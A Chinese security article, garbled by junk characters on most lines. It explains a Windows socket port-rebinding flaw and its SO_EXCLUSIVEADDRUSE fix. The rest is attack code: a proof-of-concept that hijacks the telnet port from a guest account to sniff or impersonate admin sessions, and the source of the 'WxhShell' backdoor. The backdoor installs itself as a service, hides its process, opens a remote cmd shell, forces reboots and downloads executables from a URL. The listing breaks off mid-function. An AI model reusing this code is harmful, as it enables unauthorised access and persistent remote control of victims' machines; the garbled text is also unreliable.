在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
@7Ec(]yp s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
dKzG,/1W[m > Vm}u`x saddr.sin_family = AF_INET;
S%iK); `?z('FV saddr.sin_addr.s_addr = htonl(INADDR_ANY);
N3%#JdzZ$ B!wN%>U bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
8,U~ p<Gz !D=! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
8 0tA5AP 2FMmANH0ev 这意味着什么?意味着可以进行如下的攻击:
riIubX# 0~U#DTx0 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Ui'v'
$ t]h_w7!U 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
2R\K!e 5i[O\@]5 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
&W45.2 1dN/H)] 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
V'kBF2} dla_uXtM6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
" .7@ cfTT7O#Dc 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
y\??cjWb] |/Vq{gxp+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
i]ZGq7YJ% U1YqyG8 #include
.RroO_H
#include
Cj=R\@ #include
<f>77vh0 #include
Y2L{oQ.C2 DWORD WINAPI ClientThread(LPVOID lpParam);
:Qa*-)rs int main()
\rr"EAk] {
G<C D4:V WORD wVersionRequested;
#:?:gY< DWORD ret;
BZ?w}%-MO WSADATA wsaData;
.#&)%}GC BOOL val;
tj;47UtH SOCKADDR_IN saddr;
y4kn2Mw; SOCKADDR_IN scaddr;
& DP"RWT/ int err;
OeQ[-e SOCKET s;
<Y`(J# SOCKET sc;
A|"T8KSMB int caddsize;
v?He]e' HANDLE mt;
-5*OSA:8x DWORD tid;
_
s 3aaOL wVersionRequested = MAKEWORD( 2, 2 );
lV'?X% err = WSAStartup( wVersionRequested, &wsaData );
1K/HVj+'. if ( err != 0 ) {
-C2!`/U printf("error!WSAStartup failed!\n");
#w; "s* return -1;
:Racu;xf }
3eUi9_s+ saddr.sin_family = AF_INET;
)<QX2~m< ~>@~U] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
-8)Hulo/{U &b (* saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
/`M# saddr.sin_port = htons(23);
v~OMm\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;r@=[h
{
,a>Dv@$Y printf("error!socket failed!\n");
vv)q&,<c return -1;
;pm/nu }
N^QxqQ~
val = TRUE;
N:B<5l ' //SO_REUSEADDR选项就是可以实现端口重绑定的
t^&hG7L_m, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
!60U^\ {
ndFVP;q printf("error!setsockopt failed!\n");
"M:ui0YP return -1;
1tY+0R }
6$OmOCA% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
./I? |ih //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
u0W6u} 4; //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
#H6YI3
`G )xVf3l
pQ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
lW"0fZ_x'E {
Kb]}p ret=GetLastError();
4rDVCXE printf("error!bind failed!\n");
!Ge;f/@ return -1;
S:{xx`6K }
e#hg,I listen(s,2);
O1\4WG% while(1)
9 m8KDB[N {
* K$U[$s caddsize = sizeof(scaddr);
Ko&4{}/ //接受连接请求
1V]ws}XW sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/[?}LrDO if(sc!=INVALID_SOCKET)
P<>NV4 {
&j~9{ C mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
r0nnmy]{d if(mt==NULL)
@q!T,({kx {
dw;<Q printf("Thread Creat Failed!\n");
|[~S& break;
zHKP$k8 }
p"P+8"` }
^U?Ac= CloseHandle(mt);
UIU Pi
gd }
m=n79]b:N closesocket(s);
;%0kzIvP WSACleanup();
nP[Z6h return 0;
KC"S06 }
]-t>F DWORD WINAPI ClientThread(LPVOID lpParam)
JFI*Pt;X9 {
sPc}hG+N SOCKET ss = (SOCKET)lpParam;
vw>(JCR SOCKET sc;
Z;N3mD+\ye unsigned char buf[4096];
.RmFYV0, SOCKADDR_IN saddr;
ekY)?$v3 long num;
6*B%3\z) DWORD val;
GPni%P#a@0 DWORD ret;
5`3x(=b //如果是隐藏端口应用的话,可以在此处加一些判断
r?u4[
Oe# //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
;i.MDW^N saddr.sin_family = AF_INET;
tQG'f*4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
GH':Yk saddr.sin_port = htons(23);
N( 7(~D=)B if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5$!idfDr|m {
wdt2T8`I/ printf("error!socket failed!\n");
?#a&eW return -1;
&bq1n_ }
i\;ZEM{ val = 100;
+@uA if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
j|8!gW {
+-b'+mF ret = GetLastError();
Wtaz@+ return -1;
xKUWj<+/ }
|11vm# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^X6e\]yj {
#9s)f R ret = GetLastError();
,FP0n return -1;
i+5Qs-dHA }
b5MU$}: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
N?t*4Y {
//N="9)@ printf("error!socket connect failed!\n");
YFu>`w^Y closesocket(sc);
<o9i;[+H- closesocket(ss);
tJ_Y6oFm= return -1;
O`Qke
Z} }
T*@o?U while(1)
M]X!D7 {
D?%[du:V //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
|X*y-d77W //如果是嗅探内容的话,可以再此处进行内容分析和记录
VMF?qT3Nd //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
]@21K O num = recv(ss,buf,4096,0);
$@kOMT if(num>0)
Vo^J2[U send(sc,buf,num,0);
Kn3Xn`P? else if(num==0)
R`$Y]@i&B break;
74N_> 1!j num = recv(sc,buf,4096,0);
$aEv*{$y if(num>0)
q{G8Po$z' send(ss,buf,num,0);
8pf]M& else if(num==0)
gFuK/]gzI break;
QxPPgn7' }
g?|Z/eVJ closesocket(ss);
R|}4H*N closesocket(sc);
J<H]vs return 0 ;
:~R a} }
@"h4S*U I@z@s}x> Wm" q8-<< ==========================================================
8.jf6 "6IZf>N@# 下边附上一个代码,,WXhSHELL
)2wf D "5dke^yk0 ==========================================================
_t"[p_llo A`M-N<T #include "stdafx.h"
Y=|20Y\K 2%fzRXhu% #include <stdio.h>
F,)+9/S& #include <string.h>
zqrqbqK5R #include <windows.h>
8ZbXGQ #include <winsock2.h>
1!V[fPJ #include <winsvc.h>
3n)Kzexh #include <urlmon.h>
8mmnnf{P .|u`s,\ #pragma comment (lib, "Ws2_32.lib")
,[p pETz #pragma comment (lib, "urlmon.lib")
UAz^P6iQ`~ E@otV6Wk[@ #define MAX_USER 100 // 最大客户端连接数
{S+?n[1r\ #define BUF_SOCK 200 // sock buffer
D=vw0Q_3Y3 #define KEY_BUFF 255 // 输入 buffer
4~A$u^scn qLX<[UL #define REBOOT 0 // 重启
.3UJ*^(? #define SHUTDOWN 1 // 关机
?fP3R':s Y|b,pC|, #define DEF_PORT 5000 // 监听端口
hC8WRxEGq 8a@k6OZ #define REG_LEN 16 // 注册表键长度
OY(CB(2N #define SVC_LEN 80 // NT服务名长度
<K&A/Ue ^HR8.9^[1u // 从dll定义API
M]k Q{( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
xMQ>,nZ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
At[Q0'jkc typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
|*w)]2Bl typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
:zo5`[P 1yz%ud-l // wxhshell配置信息
9[X'9*, struct WSCFG {
.czUJyFms} int ws_port; // 监听端口
2 <OU)rVE4 char ws_passstr[REG_LEN]; // 口令
-z.
wAp int ws_autoins; // 安装标记, 1=yes 0=no
CV^%'HIs?+ char ws_regname[REG_LEN]; // 注册表键名
Dz$w6d char ws_svcname[REG_LEN]; // 服务名
LKI\(%ba# char ws_svcdisp[SVC_LEN]; // 服务显示名
,<K+.7,)E char ws_svcdesc[SVC_LEN]; // 服务描述信息
ZY7-. char ws_passmsg[SVC_LEN]; // 密码输入提示信息
%E#Ubm! int ws_downexe; // 下载执行标记, 1=yes 0=no
b==jlYa= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
qov<@FvE0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
T=~d.&J /N%i6t<xU };
li?@BHEf +\%]<YO // default Wxhshell configuration
ox<&T| struct WSCFG wscfg={DEF_PORT,
B*}]' "xuhuanlingzhe",
VHqoa>U,* 1,
7neJV "Wxhshell",
ct|0zl~ "Wxhshell",
{*n<A{$[
m "WxhShell Service",
B_[I/ ? "Wrsky Windows CmdShell Service",
$ S3b<]B "Please Input Your Password: ",
Ap?,y? 1,
\kUQe-:he
"
http://www.wrsky.com/wxhshell.exe",
_IOUhMo "Wxhshell.exe"
3^&`E}r };
k ?6d\Q SXl~lYUL // 消息定义模块
1}c/l<d char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~.G$0IJY char *msg_ws_prompt="\n\r? for help\n\r#>";
^{IZpT3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
;u(*&vRqr^ char *msg_ws_ext="\n\rExit.";
T?[;ej: char *msg_ws_end="\n\rQuit.";
aj|PyX3P: char *msg_ws_boot="\n\rReboot...";
S]%,g%6i char *msg_ws_poff="\n\rShutdown...";
Bca$%3M char *msg_ws_down="\n\rSave to ";
4P)#\$d:
? .SiT5 char *msg_ws_err="\n\rErr!";
]D5Maid+ char *msg_ws_ok="\n\rOK!";
Md>C!c yc9!JJMkH char ExeFile[MAX_PATH];
nG5\vj,zB int nUser = 0;
RuVk>(?WK% HANDLE handles[MAX_USER];
"8ZV%%elp int OsIsNt;
}OnU32P `_GCS,/t SERVICE_STATUS serviceStatus;
03|nP$g SERVICE_STATUS_HANDLE hServiceStatusHandle;
xjnAK!sD s}Go")p<: // 函数声明
UMNNAX int Install(void);
tvVf)bbz int Uninstall(void);
H!}L( gjEG int DownloadFile(char *sURL, SOCKET wsh);
z}-R^"40 int Boot(int flag);
D}}?{pe void HideProc(void);
z]%@r 7 int GetOsVer(void);
Jia@HrLR int Wxhshell(SOCKET wsl);
{Y-'i;j? void TalkWithClient(void *cs);
`Nvhp]E int CmdShell(SOCKET sock);
BcpbS%S int StartFromService(void);
GwDOxH' int StartWxhshell(LPSTR lpCmdLine);
KK>jV mYJ8O$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
uMGy-c VOID WINAPI NTServiceHandler( DWORD fdwControl );
jCtk3No ZGX"Vn|YL // 数据结构和表定义
,#;`f=aqTG SERVICE_TABLE_ENTRY DispatchTable[] =
+,R!el!o~u {
`%#_y67v {wscfg.ws_svcname, NTServiceMain},
%nq<nfDT {NULL, NULL}
2P'Vp7f6 Y };
:+QNN< .j,xh )v" // 自我安装
s/J7z$NEU int Install(void)
$1d{R;b[ {
O\o@] char svExeFile[MAX_PATH];
Cb<7?),vK HKEY key;
or;VmU8$zb strcpy(svExeFile,ExeFile);
cf>lY *Uy>F[%@ // 如果是win9x系统,修改注册表设为自启动
,3}+t6O" if(!OsIsNt) {
+&f_k@+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,Iz9!i
J" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Yyd}>+|<, RegCloseKey(key);
!~F oy F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
S{2;PaK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8'3&z- RegCloseKey(key);
0^J%&1a Ic return 0;
4%qmwt*p }
lQ ki58. }
?RG;q }
nSSJl else {
HES$. a B/lIn'= // 如果是NT以上系统,安装为系统服务
@%u}|iF| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
?uTuO
if (schSCManager!=0)
ph(LsPT- {
!E00I0W-h SC_HANDLE schService = CreateService
/>9`Mbg[G (
|8k^jq schSCManager,
5lzbg wscfg.ws_svcname,
B3[X{n$px wscfg.ws_svcdisp,
B$s6|~ SERVICE_ALL_ACCESS,
a}VR>!b SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
OraT$lV)_ SERVICE_AUTO_START,
d!&LpODI]* SERVICE_ERROR_NORMAL,
0]DX KI svExeFile,
r/ATZAgHP NULL,
!}U3{L- NULL,
vFLE%z{\o NULL,
#LR6wEk NULL,
5"U5^6:T NULL
/ M]P&Zb | );
{*CG&-k2D if (schService!=0)
BBX/ &d8n {
suhnA(T{ CloseServiceHandle(schService);
U$a)lcJd CloseServiceHandle(schSCManager);
;{iTSsb strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
uW[AnQ1w strcat(svExeFile,wscfg.ws_svcname);
IhSXU<] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
OH n~DL2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
:Zq?V`+M RegCloseKey(key);
5)k/4l ' return 0;
L!/{Z }
9,Dw;|A] }
{#z47Rz CloseServiceHandle(schSCManager);
u|ihUE!h }
32J/ }
Fgwe`[ 9_&]7ABV return 1;
$E:z*~? }
L=!h`k 't( #HBU // 自我卸载
si]MQ\i+ int Uninstall(void)
v/]xdP^Z {
Y@ ;/Sf$Q HKEY key;
8?EKF+.u| Te)%L*X if(!OsIsNt) {
BgCEv"G5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`+TC@2-? RegDeleteValue(key,wscfg.ws_regname);
'{JMWNY RegCloseKey(key);
{~EsO1p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}\N ~%?6D RegDeleteValue(key,wscfg.ws_regname);
{}"
< RegCloseKey(key);
d--6<_q return 0;
eK3d_bF+ }
4T)`%Oo<} }
+['1~5 }
8r,0Qic2K else {
OaN"6Ge# Z>1yLt@ls SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[["eK9}0 if (schSCManager!=0)
?5pZp~ {
#f=41d% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
W Kd:O)J if (schService!=0)
jM{5nRQ {
2ss*&BR. if(DeleteService(schService)!=0) {
mSFA i CloseServiceHandle(schService);
-=1>t3~\ CloseServiceHandle(schSCManager);
Jl6biJx return 0;
11fV|b% }
h;cw=G CloseServiceHandle(schService);
Ve"M8-{oKk }
=7~;*Ts CloseServiceHandle(schSCManager);
#.}&6ZP }
*a(GG }
[Q8vS ;. <1~_nt~(* return 1;
[*ug:PG }
$9Xn.,W 1':};}dCJ // 从指定url下载文件
90<a'<\| int DownloadFile(char *sURL, SOCKET wsh)
8k Sb92 {
/(s N@kt HRESULT hr;
w);Bet char seps[]= "/";
v&66F` char *token;
f.v JJa char *file;
~/K'n char myURL[MAX_PATH];
F A%BzU5^ char myFILE[MAX_PATH];
CA/Lv{[2 +-hfl/$ strcpy(myURL,sURL);
J?&%fI token=strtok(myURL,seps);
6LT.ng while(token!=NULL)
bSTTr<W {
z=rSb4"W file=token;
>8`;SEnv token=strtok(NULL,seps);
mLHl]xs4 }
Ci3
b(KR 7$L*nf GetCurrentDirectory(MAX_PATH,myFILE);
@GQtyl;q strcat(myFILE, "\\");
ICWHEot strcat(myFILE, file);
V-dub{K send(wsh,myFILE,strlen(myFILE),0);
Djp;\.$( send(wsh,"...",3,0);
gPpk0LZi hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
RS{E| if(hr==S_OK)
&D7Mv5i0@ return 0;
}?U
#@ h else
j#VR>0oC]\ return 1;
]e?L,1- ?Bd6<F-G }
G$lE0_j2{ d8^S~7 // 系统电源模块
fhki!# E8M int Boot(int flag)
91FVe {
Nqj5, 9*c HANDLE hToken;
w(odgD TOKEN_PRIVILEGES tkp;
. Oj7).U0;# if(OsIsNt) {
#\LYo{op/. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
KM
oDcAjH LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
# *7ImEN tkp.PrivilegeCount = 1;
y(**F8>?xE tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
xUB{{8B:L AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\%#luk@: if(flag==REBOOT) {
Oh7wyQiV if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Gfle"_4m8 return 0;
!@)tkhP }
qi1#s, else {
X'7MW?
q@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Q6PMRG}/o return 0;
3+vMi[YO }
55Ye7P-d }
-wnBdL else {
PW*[(VX if(flag==REBOOT) {
qD}O_<_1ym if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
P[P]oT.N
return 0;
Q3LScpp }
l]5!$N* else {
","to if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
DPlmrN9@= return 0;
_&$nJu }
+Jq~39 }
zj;KtgcE ~H626vT37 return 1;
1KI5tf>>p }
8H{9 >6z7.d // win9x进程隐藏模块
]Mgxv>zRbs void HideProc(void)
`n%8y I% {
?Aky!43 kNUNh[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
CN#2-[T if ( hKernel != NULL )
4AN(4"$N {
ek0,@Vg9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
IU rGJ#}O ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
jbu+> FreeLibrary(hKernel);
2,'%G\QT }
f_r4*#&v 7p Zd?-6M^ return;
e>_Il']Mb }
]nx5E_j2 DcNwtts // 获取操作系统版本
+2^Mz&I@b int GetOsVer(void)
vb]H$@0 {
;-{'d8 OSVERSIONINFO winfo;
P{>-MT2E winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
!u%XvxJwDb GetVersionEx(&winfo);
I!g+K if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Vs&Ul6@N return 1;
.v#Tj|w^ else
q<Wz9lDMNR return 0;
2!6-+]tC }
]=sGLd^)E `g,i`< // 客户端句柄模块
GuRJ int Wxhshell(SOCKET wsl)
KA]5tVQA {
:stA]JB#
w SOCKET wsh;
]iH~1 [ struct sockaddr_in client;
x@,B))WlGr DWORD myID;
.OvH<%g!. NAEAvXj while(nUser<MAX_USER)
-F';1D!l% {
bBXUD;$ int nSize=sizeof(client);
2@$`xPg
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
r[kmgPld if(wsh==INVALID_SOCKET) return 1;
3rVWehCv Hu7WU;w handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
"v5jYz5M if(handles[nUser]==0)
9rM6kLD closesocket(wsh);
d?1[xv; else
9
IY1"j0O nUser++;
|F52)<\ }
C3e0d~C WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#w]@yL]|is ;Qdw$NuW return 0;
Te&5IB- }
C_V5.6T! };nOG; // 关闭 socket
vo]$[Cp|4 void CloseIt(SOCKET wsh)
}Uunlz< {
LE4P$%>H closesocket(wsh);
J I[9c,N nUser--;
sGFC?1r?\ ExitThread(0);
OA8iTn }
aX(Y
`g)| OW1\@CC-69 // 客户端请求句柄
Om C
F8:\/ void TalkWithClient(void *cs)
+p_>fO {
R\n*O@E
v3 >R2o7~ SOCKET wsh=(SOCKET)cs;
gjex; h char pwd[SVC_LEN];
1A;f[Rze char cmd[KEY_BUFF];
cR/z; *wr7 char chr[1];
OE_A$8L int i,j;
];au!
_o ?<eH!MHF while (nUser < MAX_USER) {
J+0T8
?A $ 2PpG|q if(wscfg.ws_passstr) {
!6DH6<HC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!ZTBiC5R //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3q:>NB< //ZeroMemory(pwd,KEY_BUFF);
Bq#B+JwX i=0;
Vh5Z'4N while(i<SVC_LEN) {
2f7]=snCG zUd{9B$ // 设置超时
zFeo8S fd_set FdRead;
/WJ+e struct timeval TimeOut;
R7~#7qKQB FD_ZERO(&FdRead);
X1~ WQ?ww FD_SET(wsh,&FdRead);
k5]`:k6 TimeOut.tv_sec=8;
5Ak6 q(\ TimeOut.tv_usec=0;
KeE)9e int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
B>,&{ah/5J if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Fd/.\s wA7^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
%LeZd}v pwd
=chr[0]; ])uhm)U@
if(chr[0]==0xd || chr[0]==0xa) { ;`-@L
pwd=0; L&h90Az1W
break; /yO|Q{C}M8
} )0p7d:%mV
i++; dSw%Qv*y
} QPT%CW61M
yOXL19d@p_
// 如果是非法用户,关闭 socket D0a3%LBS/2
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k&SI-jxj
} ^h\Y.
6=i@ttAK
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hTK6N
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M|uWSG
/$?7L(
while(1) { -/ h'uG
!Xf7RT
ZeroMemory(cmd,KEY_BUFF); ?PST.+l
eIY![..J/N
// 自动支持客户端 telnet标准 h!h<!xaclW
j=0; :~{x'`czJ
while(j<KEY_BUFF) { :ZP`Y%dt'
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^TCgSi7k`L
cmd[j]=chr[0]; qJPEq%'Q
if(chr[0]==0xa || chr[0]==0xd) { w.6 Gp;O
cmd[j]=0; W2G@-`,
break; B gB]M3Il
} a2\r^fY/
j++; 52>,JHq
} K~ShV
{m2lVzK
// 下载文件 mDJN)CX
if(strstr(cmd,"http://")) { Xj("
send(wsh,msg_ws_down,strlen(msg_ws_down),0); [[;vZ
if(DownloadFile(cmd,wsh)) ?wQaM3 |^:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =`%"-A
else [W{WfJ-HwG
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q]>m#yk
}
( :ObxJ*
else { @#= ail
^J{tOxO=l
switch(cmd[0]) { mhZ60 RW
{Mx3G*hr
// 帮助 "<5su5]
case '?': { -^+!:0';
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NT}r6V(Aju
break; ~99DE78
} :M'V**A(
// 安装 tV5Uz&:b
case 'i': { I? o)X!
if(Install()) (#`1[n+b`x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v?en-,{A
else r^,XpRe&M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,Kw]V %xOb
break; BqA
} 2AK]x`GY
// 卸载 Gcz@z1a=n
case 'r': { 4OOH
3O
if(Uninstall()) pk,]yi,ZF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,]UCq?YW)T
else GIGC,zP@k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <>tQa5;
break; 7(oX1hN
} A:-r2;xB
// 显示 wxhshell 所在路径 quEP"
case 'p': { G^Q8B^Lg
char svExeFile[MAX_PATH]; C_~hX G
strcpy(svExeFile,"\n\r");
<B%s9Zy
strcat(svExeFile,ExeFile); =Pu;wx9
send(wsh,svExeFile,strlen(svExeFile),0); xOAA1#
break; ~$\9T.tre2
} Fw!TTH6l0
// 重启 6*]g~)7`Q~
case 'b': { q;<=MO/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m5/d=k0l
if(Boot(REBOOT)) B"rfR_B2M#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f8c'`$O
else { _R 6+bB$
closesocket(wsh); ySEhi_)9^
ExitThread(0); Xi~%,~
}
2l#c?]TA
break; GV"Hk E;
} VX<jg #(
// 关机 -4!9cE
case 'd': { l#;DO9
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2iJ)K rw
if(Boot(SHUTDOWN)) `$5 QTte
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |{a`,%mw
else { "7&DuF$s)
closesocket(wsh); 9h$08l
ExitThread(0); jLZ^EM-
} MY]<^/Q
break; 6?C|pO
} ?mCino
// 获取shell X?8 EPCk
case 's': { >ARZ=x[
CmdShell(wsh); +KzbaBK
closesocket(wsh); ` ,O#r0m
ExitThread(0); c6@7>PM
break; %gb4(~E+N
} 1K`7
// 退出 C=6.~&(
case 'x': { X*^^W_LH.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $k|:V&6SV
CloseIt(wsh); &Is}<Ew
break; &*4C{N
} nbECEQ:|B
// 离开 dpPu&m+
case 'q': { ZHWxU
send(wsh,msg_ws_end,strlen(msg_ws_end),0); PqJB&:ZV
closesocket(wsh); yDil
WSACleanup(); d}Y\;'2,
exit(1); aGR!T{`
break; Uf
?._&:
} &I|\AG"X}
} 'wg>=|Q5
} "^UJC-
FZ0wtS2
// 提示信息 +p
Y*BP+~i
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |*T3TsP u
} ~g|Z6-?4Jj
} B,_/'DneQK
1#D &cx6
return; %\|9_=9Wn
} Us.")GiHE
~mR@L `"l
// shell模块句柄 t6+c"=P#
int CmdShell(SOCKET sock) ]"2;x
{ C2[* $ 1U
STARTUPINFO si; .EF(<JC?
ZeroMemory(&si,sizeof(si)); [@&0@/s*t'
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K|{IX^3)V
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ? +q(,P@*
PROCESS_INFORMATION ProcessInfo; y$Rr,]L
char cmdline[]="cmd"; s
IE2a0+
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !*tV[0i2
return 0; '<JNS8h
} T{"[Ih3Mbl
KqD]GS#(
// 自身启动模式 Oe/&Ryj=mm
int StartFromService(void) g"dq;H
{ hp$/O4fD
typedef struct .yF@Ow
{ cOq'MDr
DWORD ExitStatus; 0'3f^Ajf
DWORD PebBaseAddress; &&daQg4Ha
